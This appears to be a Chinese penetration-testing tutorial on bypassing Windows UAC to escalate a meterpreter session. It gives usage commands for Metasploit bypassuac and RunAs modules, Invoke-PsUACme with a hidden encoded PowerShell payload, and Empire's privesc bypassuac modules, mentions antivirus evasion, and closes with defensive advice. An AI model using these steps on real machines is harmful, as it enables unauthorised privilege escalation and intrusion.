简介
UAC是微软为提高系统安全性中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行修改。
微软设置的安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通管理员权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。
UAC授权操作
- 配置Windows Update
- 增加/删除账户
- 更改账户类型
- 更改UAC的设置
- 安装ActiveX
- 安装/卸载程序
- 安装设备驱动程序
- 将文件移动/复制到Program Files或Windows目录下
- 查看其他用户的文件夹
UAC的设置要求
- 始终通知:每当有程序需要使用高级别的权限都会提示本地用户,这是最严格的设置。
- 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。当第三方程序要使用高级别的权限时,会提示本地用户。
- 仅在程序试图更改我的计算机时通知我(不降低桌面亮度):但在提示用户时不降低桌面的亮度。
- 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行。
bypassuac模块
假设我们已经获取到了目标机器的一个普通权限的meterpreter shell,现在尝试提升为系统System权限。
在使用这个模块进行提权时,我们必须得获得本地管理员账户权限,且UAC必须为默认设置,要不然提权失败
当bypassuac模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别。但因为这模块是直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀软检测的概率。因为这个模块只适用于win7及以下的系统,win8以上的系统不适用,具有一定的局限性。
RunAs模块
我们使用exploit/windows/local/ask
模块,创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户继续运行程序,就会返回一个高权限的shell
我们点击是后,我们获得了一个新的session 4
我们在使用RunAs模块时,需要使用EXE::Custom选项创建一个可执行文件(需要进行免杀处理)
Invoke-PsUACme模块
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC,执行如下命令的前提条件是账户必须处在管理员组,接下来我们将使用如下命令做演示
Import-module Invoke-PsUACme.ps1 #导入该模块
Invoke-PsUACme -Verbose #使用Sysprep方法并执行默认的Payload
Invoke-PsUACme -method oobe -Verbose #使用oobe方法并执行默认的Payload
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodePayload"
执行完Invoke-PsUACme -Verbose
这个命令后,会在Sysprep
和temp
目录下创建了两个文件
Empire中的bypassuac模块
- bypassuac模块
同样,要执行成功如下命令,用户必须处于管理员组,有星号则表示已经提权成功
usemodule privesc/bypassuac
set Listener shuteer
execute
2. bypassuac_wscript模块
这个模块的工作原理是,使用C:\Windows\wscript.exe
执行payload,即绕过UAC,以管理员权限执行Payload。可惜的是,这个模块只能在win7的机器上使用,而且部分杀毒软件会报毒!
usemodule privesc/bypassuac_wscript
set Listener shuteer
execute
防御措施
在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员的权限,从而降低系统被攻击的风险。在家庭的网络环境中,建议使用非管理员权限进行办公和娱乐。若是一定要使用管理员权限进行操作,我们可以将UAC设置为"始终通知"或者删除该用户的本地管理员权限,即弹出警告,增加系统机器的安全性。